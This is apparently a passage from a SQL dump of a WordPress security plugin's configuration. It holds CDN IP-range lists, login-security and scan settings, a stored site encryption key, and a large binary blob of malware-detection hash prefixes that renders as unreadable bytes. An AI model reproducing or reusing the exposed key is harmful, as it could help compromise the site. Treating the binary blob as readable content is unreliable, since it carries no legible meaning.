/26\",\"43.218.71.0\\/26\",\"99.79.169.0\\/24\",\"18.192.142.0\\/23\",\"18.199.68.0\\/22\",\"18.199.72.0\\/22\",\"18.199.76.0\\/22\",\"35.158.136.0\\/24\",\"52.57.254.0\\/24\",\"18.200.212.0\\/23\",\"52.212.248.0\\/26\",\"13.134.24.0\\/23\",\"13.134.94.0\\/23\",\"18.175.65.0\\/24\",\"18.175.66.0\\/24\",\"18.175.67.0\\/24\",\"3.10.17.128\\/25\",\"3.11.53.0\\/24\",\"52.56.127.0\\/25\",\"15.188.184.0\\/24\",\"51.44.234.0\\/23\",\"51.44.236.0\\/23\",\"51.44.238.0\\/23\",\"52.47.139.0\\/24\",\"3.29.40.128\\/26\",\"3.29.40.192\\/26\",\"3.29.40.64\\/26\",\"3.29.57.0\\/26\",\"18.229.220.192\\/26\",\"18.230.229.0\\/24\",\"18.230.230.0\\/25\",\"54.233.255.128\\/26\",\"56.125.46.0\\/24\",\"56.125.47.0\\/32\",\"56.125.48.0\\/24\",\"3.231.2.0\\/25\",\"3.234.232.224\\/27\",\"3.236.169.192\\/26\",\"3.236.48.0\\/23\",\"34.195.252.0\\/24\",\"34.226.14.0\\/24\",\"44.220.194.0\\/23\",\"44.220.196.0\\/23\",\"44.220.198.0\\/23\",\"44.220.200.0\\/23\",\"44.220.202.0\\/23\",\"44.222.66.0\\/24\",\"13.59.250.0\\/26\",\"18.216.170.128\\/25\",\"3.128.93.0\\/24\",\"3.134.215.0\\/24\",\"3.146.232.0\\/22\",\"3.147.164.0\\/22\",\"3.147.244.0\\/22\",\"52.15.127.128\\/26\",\"3.101.158.0\\/23\",\"52.52.191.128\\/26\",\"34.216.51.0\\/25\",\"34.223.12.224\\/27\",\"34.223.80.192\\/26\",\"35.162.63.192\\/26\",\"35.167.191.128\\/26\",\"35.93.168.0\\/23\",\"35.93.170.0\\/23\",\"35.93.172.0\\/23\",\"44.227.178.0\\/24\",\"44.234.108.128\\/25\",\"44.234.90.252\\/30\"],\"ipv6\":[\"2600:9000:3000::\\/36\",\"2600:9000:f600::\\/39\",\"2600:9000:f540::\\/42\",\"2409:8c00:2421:300::\\/56\",\"2600:9000:f000::\\/38\",\"2600:9000:f500::\\/43\",\"2600:9000:ddd::\\/48\",\"2600:9000:f800::\\/37\",\"2600:9000:f400::\\/40\",\"2600:9000:f538::\\/45\",\"2600:9000:5380::\\/41\",\"2600:f0f0:5504::\\/46\",\"2600:9000:1000::\\/36\",\"2600:9000:2000::\\/36\",\"2400:7fc0:500::\\/40\",\"2001:3fc6:20::\\/43\",\"2600:9000:4000::\\/36\",\"2600:9000:fff::\\/48\",\"2409:8c00:2421:400::\\/56\",\"2404:c2c0:500::\\/40\",\"2600:9000:5308::\\/45\",\"2600:9000:f534::\\/46\",\"2600:f0f0:601::\\/48\",\"2600:9000:6000::\\/36\",\"2600:9000:f520::\\/44\",\"2600:9000:5320::\\/43\",\"2600:9000:5310::\\/44\",\"2600:9000:f580::\\/41\",\"2600:f0f0:602::\\/47\",\"2600:9000:5340::\\/42\",\"2600:9000:eee::\\/48\",\"2600:9000:5200::\\/40\"],\"timestamp\":1789241225},\"ezoic\":{\"name\":\"Ezoic\",\"timestamp\":1698348469,\"ipv4\":[\"52.20.63.25\",\"3.225.202.138\",\"3.217.200.190\",\"54.212.71.227\",\"52.12.170.68\",\"34.218.21.81\",\"3.7.90.144\",\"13.127.240.219\",\"18.139.6.69\",\"18.140.184.0\",\"3.106.6.164\",\"3.106.176.6\",\"13.237.131.67\",\"15.222.77.144\",\"15.222.108.52\",\"18.157.131.187\",\"18.157.105.182\",\"3.126.25.160\",\"34.248.174.237\",\"52.16.85.139\",\"34.255.61.232\",\"15.236.165.82\",\"15.236.137.228\",\"15.236.166.30\",\"18.228.20.129\",\"18.228.107.195\"],\"ipv6\":[\"2600:1f10:4c55:e200::\\/56\",\"2600:1f13:393:600::\\/56\",\"2406:da1a:e10::\\/56\",\"2406:da18:9d0:1400::\\/56\",\"2406:da1c:58a:e100::\\/56\",\"2600:1f11:f39:6f00::\\/56\",\"2a05:d014:776:a600::\\/56\",\"2a05:d018:dd:7800::\\/56\",\"2a05:d012:4d8:6800::\\/56\",\"2600:1f1e:342:2f00::\\/56\"]},\"quic-cloud\":{\"name\":\"Quic.cloud\",\"timestamp\":1789250401,\"ipv4\":[\"102.221.36.98\",\"103.106.229.82\",\"103.106.229.94\",\"103.146.63.42\",\"103.152.118.219\",\"103.152.118.72\",\"103.164.203.163\",\"103.167.151.84\",\"103.72.163.222\",\"103.75.117.169\",\"104.244.77.37\",\"108.61.158.223\",\"108.61.200.94\",\"109.248.43.195\",\"135.125.104.145\",\"136.243.106.228\",\"139.84.230.39\",\"141.164.38.65\",\"141.227.158.131\",\"144.202.90.7\",\"146.88.239.197\",\"147.78.0.165\",\"147.78.3.161\",\"149.28.136.245\",\"149.28.47.113\",\"149.28.85.239\",\"15.204.231.24\",\"15.235.180.91\",\"15.235.181.227\",\"152.53.162.246\",\"152.53.167.143\",\"152.53.168.39\",\"152.53.169.106\",\"152.53.36.14\",\"152.53.38.14\",\"154.205.144.192\",\"155.138.221.81\",\"156.67.218.140\",\"158.51.123.249\",\"162.254.117.80\",\"162.254.118.29\",\"162.55.9.23\",\"163.182.174.161\",\"163.47.21.168\",\"164.52.202.100\",\"167.71.185.204\",\"167.88.61.211\",\"170.249.218.98\",\"173.234.26.74\",\"176.9.114.118\",\"178.17.171.177\",\"178.22.124.251\",\"178.255.220.12\",\"18.192.146.200\",\"185.116.60.231\",\"185.116.60.232\",\"185.126.237.51\",\"185.212.169.91\",\"185.228.26.40\",\"185.231.233.130\",\"185.53.57.40\",\"185.53.57.89\",\"188.172.228.182\",\"188.172.229.113\",\"188.64.184.71\",\"190.92.176.5\",\"191.96.101.140\",\"192.248.156.201\",\"192.248.191.135\",\"192.99.38.117\",\"193.203.191.189\",\"195.137.220.243\",\"195.231.17.141\",\"199.247.28.91\",\"199.59.247.242\",\"201.182.97.70\",\"209.124.84.191\",\"209.208.26.218\",\"211.23.143.87\",\"213.159.1.75\",\"213.183.48.170\",\"213.184.85.245\",\"216.106.177.77\",\"216.128.179.195\",\"216.238.104.48\",\"216.238.71.13\",\"23.160.56.125\",\"23.95.72.16\",\"31.131.4.244\",\"31.22.115.186\",\"31.40.212.152\",\"37.120.163.165\",\"38.114.121.40\",\"38.54.30.228\",\"38.54.79.187\",\"38.60.253.237\",\"40.160.225.31\",\"40.160.241.195\",\"41.185.29.210\",\"41.223.52.170\",\"45.124.65.86\",\"45.248.77.61\",\"45.32.123.201\",\"45.32.183.112\",\"45.32.203.144\",\"45.32.67.144\",\"45.32.77.223\",\"45.63.67.181\",\"45.76.252.131\",\"45.77.148.74\",\"45.77.165.216\",\"45.77.51.171\",\"46.250.220.133\",\"49.12.102.29\",\"5.134.119.103\",\"51.158.202.109\",\"51.161.196.212\",\"51.68.143.214\",\"51.89.11.45\",\"54.36.103.97\",\"57.129.146.219\",\"57.131.30.109\",\"61.219.247.87\",\"61.219.247.90\",\"64.176.165.8\",\"64.176.4.251\",\"64.227.16.93\",\"65.108.104.232\",\"65.109.39.175\",\"65.20.76.133\",\"65.21.81.51\",\"66.163.114.36\",\"66.42.124.101\",\"66.42.75.121\",\"67.219.99.102\",\"70.34.206.56\",\"74.91.25.147\",\"79.172.239.249\",\"81.31.156.245\",\"81.31.156.246\",\"83.138.12.246\",\"86.105.14.231\",\"86.105.14.232\",\"89.58.38.4\",\"91.148.135.53\",\"91.201.67.121\",\"91.228.7.67\",\"92.118.205.75\",\"93.95.231.22\",\"94.75.232.90\",\"95.179.145.87\",\"95.179.245.162\",\"95.216.116.209\"],\"ipv6\":[]}}','yes'),
('ipResolutionListHash','c78ea1a0985812f1cd317b890765e7ec9b82aa112672fd2513d417be6fdabc1e','yes'),
('isPaid','','yes'),
('keyType','free','yes'),
('lastAuditEvents','a:1:{i:0;a:1:{i:0;a:2:{i:0;s:21:\"site.plugin.activated\";i:1;i:1789251105;}}}','yes'),
('lastBlockAggregation','1789251105','yes'),
('lastDailyCron','1789251162','yes'),
('lastDashboardCheck','1789251162','yes'),
('lastNotificationID','44','no'),
('lastPermissionsTemplateCheck','1789251162','yes'),
('lastQuickScan','1789251162.2225','yes'),
('lastScanCompleted','ok','yes'),
('lastScanFailureType','','yes'),
('licenseType','free','yes'),
('liveActivityPauseEnabled','1','yes'),
('liveTrafficEnabled','0','yes'),
('liveTraf_displayExpandedRecords','0','no'),
('liveTraf_ignoreIPs','','yes'),
('liveTraf_ignorePublishers','1','yes'),
('liveTraf_ignoreUA','','yes'),
('liveTraf_ignoreUsers','','yes'),
('liveTraf_maxAge','30','yes'),
('liveTraf_maxRows','2000','yes'),
('loginSecurityEnabled','1','yes'),
('loginSec_blockAdminReg','1','yes'),
('loginSec_breachPasswds','admins','yes'),
('loginSec_breachPasswds_enabled','1','yes'),
('loginSec_countFailMins','240','yes'),
('loginSec_disableApplicationPasswords','1','yes'),
('loginSec_disableAuthorScan','1','yes'),
('loginSec_disableOEmbedAuthor','0','yes'),
('loginSec_enableSeparateTwoFactor','','yes'),
('loginSec_lockInvalidUsers','0','yes'),
('loginSec_lockoutMins','240','yes'),
('loginSec_maskLoginErrors','1','yes'),
('loginSec_maxFailures','20','yes'),
('loginSec_maxForgotPasswd','20','yes'),
('loginSec_requireAdminTwoFactor','0','yes'),
('loginSec_strongPasswds','pubs','yes'),
('loginSec_strongPasswds_enabled','1','yes'),
('loginSec_userBlacklist','','yes'),
('longEncKey','c30f912b81e67a157280d17ac46330e0d4d9beb5aa53162cd98a81e5ae7bdc3e','yes'),
('lowResourceScansEnabled','0','yes'),
('lowResourceScanWaitStep','','yes'),
('malwarePrefixes','\0\0\0\0\0\0y8\0ٗΝ;˽sIYJBR$RI%QDZHJ!I+JHi!*)EE+&~yy33>ǌ\no>^\'_wBx1uO\Z %e\r?EC)M>8)}uׄ-X1ffm\0\0\0ra?\0xG7\0?)`\04DK@bH\0Y+ gZ\0p\Z\0@1Pt180\0v6. );ռ\Z@U	{\0u\'@p_F\\q4\0Z.=_\r0ht&:A!\0]߀\n@7\0b?g];al`,[0``x,0`00a$`d0ZU\\\0>K>&)/S5);0r=	7?`\\C`9*XXՐd`~`6LXK֗_W6$`tt/<$p87O\0`m0m.V!kH,\ZHf~x89u6~\\\\`w<:`^s0\0,?\0,H{\r,8,(N\0\\Y\0,x,x\0cOӀg#`-u७xxs/]\0,%|l0,Yg8`р]C\'v\0k܀\0& `O,:	X&\"@`H h4 8Z܁s`I\Z0XӺٛA@XPv/6\"J b\Z \"k\0X:\0Q U5dDG]\06=]lnX[V@.E$.-ض,; ~j >Nu灄@B#8H7H|;؁.v+$ i?s +\n	؍,v4{f7go`>w`^`_N`R<)A=qR M6f0\nH/\02Kg; c\"9P0%kӢ@D g= 3pdQ!p4pY@zs pN\Z\nt_Tp[B@Ipm\Z=(n1\ZY\Z{{%\'F|\0*^&)@(2(OR˧w&W\0`m=P2@k@F:P}|7:S[9Z]rә\05Gf6\0|}E$p@xxx82/4htxt8S4πcÀQG^@6y <xaj\rxi9x9Y	^^Kږmb൷=:$x1x;r)Юc\r	|hK:́O|ϻu/o]#[?@@=\r_ǾU7c\"oN)0KK 4M?Ч |c@ĺDh-/1\'qĝxx6$/E.8(Z;]ˢ@@k@$P2[߀2hPu:HDT3@f\'{ GܺP\0UAUR\0~P-En8Uj饁ZZ|AM~!Uj?j?{*\r:A-vpp)8DWZ;@Wh84-zq	8l0p4N\r_[\rp?8X\Z}M\0]A;A	@8.8\Z\\}Z м{*gpb8\0h9v>hh5JN\0@kh\rh}lmN^mAoE/@;~U8i?>&/\'?O\0|D@@\'pZz!<8=]#~3g3G35\r+GYnn_A!8XyE\r$%!o==Ꟁgp\0/yhApQ\ZK:R..n烾K=GKTkeWd+OW|7]W>G0آ4W]\0WX	{0?^Xuǀ#߂!Mu+>oQ>3F4\0^5	>	F>n\\]< \r\npLp+Vf=u7m2p[Wpۉ}\'0nb\0I`,p;Ll6GX)&\n&?w}H{{=\0߯*Sx-e`ڑ+`r0\r>hxpD0[=*p灇^\0RlUݞ\0\0s1c/U`\"38_R\n̛\0512 y6X,<x9*XX,`3%OMY+s<&<\r,60K@0<0lXe3JB0+.+g)7gxyE\\H+FEWo?E<kC9u5,ޮowuw^Ƹ\'Р	>\nj\0}qw=`S=-{(\'oi$l-#g/_$//Ԃ+W?u\0	sߵz{^Cct<1<\0vmONsۧO/ ~U>}8X	v]:X\nv{D{N?1bo2_WvWu6\Z#?࿲0k;W; 47Cp #\n{0\0v|!b9.y l1m#!r\'\Z\n!ѼXH%:+!驫[Hfɾ\\SŐ-D\ri\'!h)1Rj/w, ά!?H0	VG!a$49 wA4_HG{O\r\rt<{\r˟}Wwo@CAܞA|AJa Â+Ј5Yrh#\Z\n2%!Fi-FF\'L4Bcd%И+ 3dȜ\"]-8$Ȳp*dYBV@\'C,t $dmMX k ErHQBsSiِhڪ7ȹ;l\0\0M\'Ch.ճr]=rr}5*=$4O_<	-<C $IxAs]4hBo3h=Z4|=+Sȫv\'yZCK<AK%ի!! x}\Z  7wOfB+\r@+ch垅ʻáo@+{CP`;h;Z5Zդ\"h5v7VB/Ck\ZPH(t:_d(!;~hR	,	5brnAVB+>A[C[w|,=I$03J9\0%\nmjЎ(ɴJ%m/%\n%_vM\nqOA)g_@)/ڠTq%tVO|\0L	\neAfYP(9Opy(kHkCG8tditȓ(g{k	_\r?~ʷ̀#G@CwC\'_		YЉ[*Zj}	BCET9*>*	Ag\n~CŊPq*?*)̂JNι*swCcʠp|7tT2TAWA3%/	t	UM_Uqn]]MBGk	kC5\rPGtscLX9\0i: :׮ݏzj=5n\'BO@@uPwj3%Yk\rzMzmrԾ9zqeԑiu\nuz:ʠOZ~MЗoзFNr	u{_ks3zPoUsmgaWA<R>{пlFa4q0zm`Fuw`&/Är܂I`L(	[KM%\'Kɰ,\ne?a:*_F7`eV&0C`Ns`˰qXXΰt5,4\ZdXCk:\"u|&:mPx}>!]{C0<6t><\04\09\r`Ol\\k	|MY^$6wh-V6k`Ex|=غlS4m6¶_Rėn>~!<9v};\\4\rSoiӪ_ӞR(y\rعB?]*q	gN\r0gfngnR`bxN<P=w/ج=`]xx>xѹW?x}x[.|t}F$qx\r0PxCexxYjxY+OoU	\rKag\r\0^Yp	ژÁk\Z`>޸^=E}Aap[mሳYpy1	#oQ3]8t11l!ǂ;x[(x6sy\0ǏW-__;hxǑpҴhx\'>v#y;8x_{TISqkC74[N[_no[\rs78c6g	gfK:#M>Q>z>f>LyGpޣp	\"\n>p>>	,;§N]YE\"H̰ٚmK..Yu.9>r|<.cS\rp!pm\\u!|1Z%&g.|\rµpv-#62ckqku.sWe?q<m@>n7oÏVMZǧOfͻg5w~Q9n=L/=W+W?UH^]-߫w6XF;~)o5x*oMgwr\roww?6{\Z=s1ý:˫_#_\'?^K#_p?[<\0>\"@n>7So#h}=D^q!D<9\0ND$!/R9!&MDu$BO#JaL}؊poG_ sWNDQGDxv\nѲhE ZmLDn_h\rD GtCt~5\"ŝoDDG1{NF>@!!1\\w1\n@֚\"F}v蟦}bڸ\'2f>bVeK& ^o]\"u\'2[jX*G#g+ub	%Ґu}\\daȤc+{{	2eq{q(F!N:iayCc*|<q>qrq9}<^	2Պ%Y[713\Z2j\"2B\Z2)23D﹇̯Z,x!a%gsx,ܾY!^o@#KjZ	R}CdUC2h$gA +NBUYH*Yٽ	\\	FmU?U4(ІǝEOBVEV7CLđ5G	)XN[֤#KA$Zdnnsd\"YTl\0h$:]qqG6Ȗ)ȶÑm)xj$$,Z$$$Ew7J$,$\rsٹ|\"{!{uW {#{?mF]@Sϐ>  )\")\ZERCR7\"\" #i[ u$$sxиa.pb3uE: ٽ{޻ȱH6=!ybJ9y9YmiEhrr\0r&\n9S9k9;3rR<)EJ,s}<R:7R>P͡gHD8rI\\?\Z<B.!W^k# w*&*:aR%NmDjGjn#7:JZHHo䦤َ !QH]1r/[{\'r-4#U\"5H)G{ȓ7{ޅHȳ,Ke$1¿yyyE!mH8\Ze&NykyywyꁴK;H{m?8C\\v=D:_\"V|C>@>8B,[|)B@.B|ьF~h ހR7-4{>z}U@&; }KH3	_po(\'\nu:	Eʛ(\ZEk(tBq(YEŢش?ʮODB3PF/e>c(ېr#PpTsd5ܨA<~Pq*T/2ߠzPRT7?F٨Aj-BCGOGIq:lLPfQCPB-]j5:\":7\"j\Z@\\Va7{e脕5cQ}cщ>N޲ǡuPǙCQ:Tgixt=u)B]ζӱ2tz=x:Ctɖn[e;:Ξzu{	S΍[뚌|.0z {zT.=\rђ>Eo6[rkDW4EЕ+=+`te>ڄJnDգo/;!cסޛѰ\'4|G,\Z]k]?-!x\ZI8\'E7\Zi.B7E7/1hlc95e\Z*G_	S_/[Sѝ5hLc4%CwnE\r>}7no5wM1@SmBSXBSGѴ}Uhz0Vf|f@3բl|#\nѬ1uh֭hV4gM@s\"МX4e(a$zd4-E(F󲖡3t|h~4=qFOCOm@X-ЎEƬCNFOBO{FO?$%ZB0L\rZt-u-+G/eW\\޷UUaNh5rF+kk%{k_XzbZk֮qBoR^zv(Κ}}Wz?&\0}([>\\>hIa6GhmT>GuS3}Vb씢-wG9zOr\"5}5}e݇Z}}=	}=Q(nrm\ZmcOtED?G;lG/c,v}B?߃~<\Z~iFjMF_DFF\rhuȣݣCsў/ץFtBC!STo֍G@3\0RO0\ZcX{_~?\r#]0;vDyLl}0lLb`Ibw1نQyqS\Zĸ32/?jbNz-L}SaSO5ibU0	Ssln{ Ӄ0?1WIHSlhB\"6,~\r6[fZ\r/_*F[O5/ ̴&c/k{663\Z[gTY,1lLl|-6a	f3/f3f˿l1ۨ$66iYMYM)9ama7Ci6;2sHa?،#Y5 &ܨcn̝sgbs+ߞؼ7ؼo?6q)\0-h<as1=gR[SyŃa%?`>Kea&]b+z!tލ|5|q|{[5e4:\\g$Bta!XLª`gᳱuغu؆ǽ؆g\r_]XXXtq>܄mmmN8m>t۲=ǶfZI\rXxp=KmaU*x;K%ݷvŒYlbplϔ5؞ؾIkLK=i.\'`ðX4,3x\rvh찏?e˺nebi4c܃;N-:c<t\'婶byw\r|h!v;	N?\nDc-t`EqXu.&3ؙu,VJǊ-!XɡXIe\\Ft9+Ji꿼%Du!%V*n*KZإo[zؕ/Xen;]f?n`mOk\'7b\rcחbo.\rjb={\rU\rc؍;؍X-7\r}	]=!:Z%ѵX9X%5B_\']Xs%lt,<kV2ZX3bc/Wb//Ea-0[7wg}o>ľ*Xj+{2],~GҰQY/,\\vZ?N#HoB,܇;q\0G<q\\\'M\'q	\\rk.ҟSqhjYhӊsquF\\(݂kt\Zcmk߶5::p\rJ|>d5>d[\\Rz۾z{p6~]iB|>VGtōq~nnrt=>*<>D%>MOt`]8ռ͇|m,nm[؄p|l;|z\n<Oŭnu=w8v\'Tmln6z[M-n	]7vzpw`k|JO?w[;M;Mq#\rԘd|jZ݅O;]K>0n0ggE\0O|Vw%>;\Z>7n,>5>_e/y[/؏/|\n_qz{u^\Z0vƽ/V>ǃqOKR6|2\n)Skp\'^ʐx >_%_5z	i^p_p4:}_ãOj{3Ou:u:ay|	xuxd<xYaG7\ZN7޿Gs?1&5xg<&y\Zio|ee46|qxj|zi(m	^4t<a<6|GG<5s|g[%;OuW2:2h5|/ﻢ?O	SҏZTO-xz&~~0x%1Eg,3	OxfC<~ȁ-XdjO/ŏxŏ\\{y4E5۞ ʇɠ9T/?/Z\\?৭wOOiOwƋػxQ]nb\"xma_ey?~?	~+|\"__v_	Ư,}WjVU%3xx>:~=~m0yc[j\\8519,~SӉߜo෿Xw5;CsCxpk!~oP,8 8e.x*o𦵾xfiT7ݚ71,X??؅:l7[/q_xu-N\0qױq)t[W.ߗ<?<;|Ymz/϶3gS/Mg7_{,ook]\Z.gw6êqfk{7xoa\'i]>Պ~х?&[߁x_;*@1_r|A_G0Մ\0K)zw@?@v0N?Bh04\'-0!$d)Urw$&;Clg7p]|	>b/*^Pe00y}\ZCh%7ڃf_w`b\"1xbh11DaC}%\ZD,aP3ZVSE	\" ;NxK$#i[bH#CxUDv01!FFѫ>iHbEbLT\'aDX{NX|N~B|K/y\"a9O|OX~]IX|$񖫉			/1aA})%	΄nbʃ/ĔvC%ILwSSWN6#ӷQĴ	g넳+\\H\'\\FU.%,1#p=1h&fE\"Y\'r	7I۳ۛɀpv\"܏%	ĜpbT[	6S/t]Nx$/cX<=XbA,~J,$|W|X*#f KK\"t;	\")X9d\Z.lHk5ïk̈5	DR#\"$fO R:vXKl\\DDWQ?kE-Ħ@bAl>Nl2]1ݿZtضÜN=o&׉DEDd54̄H:<؅&vF#ݏ=6=SL\'܈+܉ډ)=Dc688p-qLfHDF#yDzaՏ!8dHr\'`k\"4i#eܡ\'ZoDfs_<8DdcD#DѴD(\n<OugADK(u\\BO7[O\'.&.ڏeDWJr\'(?辒XM\\|򕨨\'.!*)QQuh(Qd`FW7\\p	Q{ً9}q&ekEܺB>BMgNYO܉xCܩ_AMcN\'Mk)}wr)`\n⡍-oQ7oL&\ZDC\"Q;Ԛh|YL<YA<I< %!-̈gCY9keq%-xA@$xxxyO|\\FDԽEt.J|6#>Ӵoi7lKGt\'|Ӊw3DH@opG񻦛ӫE{}?~ӟS>1px.%/H ah.VZ 1q#q/AGWs$	986rS$֏= B8I?#3?d\ZHvh)ɾBy$簞X\\i3:T!)<Oj=!5NZ$R\r59ZI\Zމ$/%\"\rRQ ݚ4+\'-AHC>4O}\Z9brNrd0r!iIi|c:i|k7i\"MF&H2\'<si֑c\'_%ǥ+IѣH+Xrd9^JKlYO6&m mgoH5D9UM:yI:%1q;HNYDN%MNFN˯#wΩ^KNI׳WIHwc{S#i&LyD)Nέay<g4ҳdą\\dD.*\'<H䳤ס}b߿gZWN!}cҵɥ	{ȥ?-eeKI?ă\\fN.@CNhM\']ɀɕO:r䪿`?j#sr\rB\r C\"2w2ʜ᧋2\"4(|L/%>&וuGLf>O##GFndd/FFS(Kuȍ1h2:y4	#7JnOn*~FnlDƬLƴ-\'7;DnNYOƙ\"m$Jčdǟ5ɤ_dR73$ddr׶Nr7#&ɳBd-Εd=r9)@fUYdV+n\'S<RFc/=\\\rK^}HEk:O˴N\nd+Y$Rk#Ӽ-yD\ZY ~&<!-F`#ynZ\"yYC^M!/m\'&\'˶=\'lrJ<|-Y~=y1MNVKZ:䥩/JGd=y`yY=5YIVo!:\"%yXf+YSJֺe7N7k[M<${K>pJ\'\\t CcaiU{18Ml-&nM.Ko{\'kޓO=fY*lO6O Wo!zggg_Ed˟R;6d5|S|=|;||[n!\'ۯƐk5=ò0QD~6?D~N~9RJ~[]Fx]Mv?u&{r^h_JW=@Db?-ɿV{Ⱦɿ~(=\"pUR.dm\"TvPDL>\"Hlc.z+{k(|8QXFxKh\"fZuoD\"\"fע!;4!BDHޝ_\"g\"a\rEG&F:o;/2~/\ZA4vmhܰѢqwAxH\"\Z?\\#6!<Ed\',MM.s9\"G\"ǖ]Ѵ3ED.D3Df.#ro=&,;shޠyCψryg<NOytZ-(ZTghoF|2)Oȧmchoh\\sъ?\"7E+lD+?cEAC/T¾6o.w\'Z{VhCPhCц*R^ѦnGQLB9hx(Bx(	>+yRHh4D)!٢Wǋsg>>/0_+-x&:4Ht(c(B()T#dHmDGM\rEG:DG>rn!:(Q;щ(mQhpZQѲzQQP	kDDJFJf΋DD*kEeVʂD凵EgBD3EDWfU&鋮nUD׮]PtnF#,Ɖn~28.݉4YEQvQCRhOQ讨)XT0A8K*zq5+5\'E/bE/^NX.jm,zy^z,j)z3hM[\n;4QǖD>/[(BїD䑢gEE]D7x(o}Q&߃6ѿbJ,F&UQ1(&]bQX%K˶eّblX],8-2X1\\?=ż\"dXFVGJT<t5P	bCC<|xD\\#{xQ\rcYVYjتC<NUbkPlTl$X</WlJ<@?S;zb6bO.eltf`صP<kUxֳ/b=bb$9]kT=bۗ-^PKFkEK;։WmA_)Ł+~WIūj8tDCg4έfquxMvMcqx\\-qjSq<tC$|	\Zwz4K{!ޖ.ޟũQjiӒkO>Jggi֟#마w_>]\\,>(.*>e(.{G\\ء9nrnĥo։ƒC/}W*Wĉ/{/o._#R+ڔ ;!m-H|qqV[Cķwn9U|w(~P%~chq%\'nw7M7|7\nō[M:\'`q[73/_4:_ŭ6G-Ƈů7M;ix+ğx)kşdo[]wV{{>6l?:ſX&AK\Z$r	.K%xc	XB> !Z7HHiX\"\"~HD$[%bm=(]0A\n	{Or(Qs d\"d2dІ\'FƝx[n6^D ]%C?[\"1<m.NosIb{EbX2ꌣdTQhdd%=$G;I&Jl^Ml]3}dွq\'T#B2L4<NtĩadZYĹdF,dfnɬk	I.wK`$d$~CJGUd?bg$KgH_6KIDI<#Y<X$[+Z%Y͐!oLϑ8IV\\Jn\'Yg+	z\Z(	zMfed뽒5?%!%a֒$I{G%Iă\nZ,ɺ	h|d\0I6x\"umlJ^ml+I&iGHvKOHx{H\";do	%JǙHR}HL͐}-PK2Irl$QPrtXrtbLWI\\eܽŀ$i	}7ɉ풂SSHNeސ:Lr!ٙ$>I%n$>*IU%e+$e]\nT\\_RHrm^[o%wxS%u:5]{s%v~XwQ9I%vђےg%#s%ϯH^ yKbIɋˣ%\rݳ=씼,yIﳔ|0|^J>Ŭ|WK>7||&3HmHɷc$otkJzT;3K%?GI~<(m+*xzI\n٭BSl0u]I	iT$KO$KeCRER/I^\\;-՚(ZuKmX:\"wtD?ȩ#äF¥&`tK:J!5t̆*kff{R/.WwJǎI:6P:Uj͍$ڴImg6<Hv߂FK\'ڏ#V,JS-BS[Jfܗ:eNi\rJg:*uv礳Gq)TJ88K=)C-FH̥ORdԻO)m,]v8P\')&K-\Z0ĤU6KZ&i9i\"i{4DV#\r,\rJCuIC#>H^nuF\Z}F:ҨS1^I7IMɔ҄;&H&WJw.]]\"mI?ɔ\\֔JWK3͐fՌfߴu =zwI]\\z3i*=5ll}ܺ򃷤cii\'T-TZ&!\'޻Kzփf;K}uqҺ{pޥpaNfG+\"5QƺҦ	\'sNJߔ>Qi%i疑ofH_zIێJ_[%}kHvK̗߭~ ؽMy%BiZYK6Xua?T{ni_Ү\"eCiFߕ/*!GڏG/2J~<He3s~AK&ID\\.eҀ-2iL~PR/ϥʘrLbdKu?.cۗ3dOq2vLL;vlPt8`tlpcL7Ljllh0D6VxM	rG65>$35>=LY=#[,wZf	JGp|}h|lJ\'cH6mlIuled*@[B<D6y,$?>L6\'EF9XZ0{vw6bH\Z ÿɖo+m_<d\rͲgddk:uKdd?e3e;ɢɢO6.Ŭ/۲u,0Y(v]g,\'e	#e	˶{xwNDTK]Rgzad{\ne}).;Bv ;X\";X7D;L\'Yv=U#9cV~c{]e>ee\n<ܕ&;c(+\\ ;7gmم0Y	KsWv.PvœUɮjnzdw\'ꂞZeϔ=l {<]Dy[,)kt=KY\"k!\\e-]Ke!K쥱e -{Y<BxSZ&Q־CgCv]IY.l%V..v{%kdrd}5?Eoe]27|\rFn-GFQ09Np9~RN,\'~-nE%\\jeyrqGNXȕl69{\\-I7`\">kW5uNx9r{Aܰ|-#o}Ms&GdMM5MKjf?7\'Qe,J[g\'x[wm,Or1/*w:yLq@>mE*rW?9rkssNF{/\Z*_tY[ܣ\'HbܳH(E_(s˾@uZ{K>/5ZxA|B||]N&}<7y9y#y<\"|yn|LGQ1Jq<:I_ 4w|t?|X~<nyyvHyr|ׂ]74uSޥS%򃋶ź˳˳og~(>[<H0C~<OGMEcE/+Kgɋ\rS%ez\"/G~ixyeyiyub\Z&͆J́[\n6C|ߖ]?a*onʛCM5gfg_[Yem-WۻX;C3U-iOZO˝?}Y>X4#4Z\0 Зzޝ?*{OW.ם.=AeJ!\\\nPP\n_D/Ph=|\"Q)Ŕ8`<%$!JXJl)ٵ9Jn6@\r(AQ)HGQSӧC(.ŵPR\\K#(MbJ˚(7MXRCPC\\<NθB}I3)}`\0~FSCQRjX=j/k0{655b5Q 5\ZG|]CMM(K[(?5es\Ze\ZZK~F1\n%ٵT|yb=H=}\Zg\Zb+5nS?5n>j\reuv5~e̖lć(;]X85e25eLM	C9YH9lzSʩrEQ.))tEW_)<aCx~f-:H	{)7&mr?6ro79@_KDPRCKy-]R^\"))_p7廗nF-+EfP~wZ?((\n9*njTb*p<j\ZjrjuR\rj<\n;KP㩵Op𣛊,KE^ZLm2vNQѷMP>o6wRNR[&(-s8X*tc9XDZATҦ[T#uʞu&ۥ={\"@Dظ:pԗJKϒP鯏S\rSQ#⨃Y?MTEe8Σ0=L:#6PzaT~\\JoN0:zak:1$:q7:;:Ǎ*z::c!Ux:6:s+u@yR%ڨeT)*~:UvzUʏQ?QFbsr	uyU=j1uNFg:UfU$eQjQ;Nv]^?Rꁣ.`\r!S Ѳj`E5G5U$RSӔԓɁSG\rLϗz^HHnBkt՞jj/QǨ7è7qꝎ.v	.8Ju\"AԧA~N?Kd5&ɩoKo.OTWfMo~NAr-~Ϸ_Tr7*NRΕ\nhR*YK(^:[ARȂ\nY?ܨMAݲS(+wJ9\neBY٠`4M\n|G)<uCG+A\nu90\"\\=D(\\14TxVcz\nA-\no*F^B1⟛b\nM\nҏ\nkk&Tdp$xd)J1V+,W	Py>MaFlWyWy08(,VD+ƾ?7X1b\n˹\n	7:^+lM\nc/vZuI.*&}^7r9\ZR8{Ӳ(NR8Pq\n8ŌlL^Ŭi!\n7SFemF1[bybvHD<y\"\Z,(< X:Rp0Ţ1c($s[ދKV,鹦𭟤X{_qbYBdby|\ny\nP79cCuns(\\Q/Tr~MlB|=Wm\"T)l7+»+(\"녈q}*֮;X@*EM_+Ɋ<Em+6)+v0;MP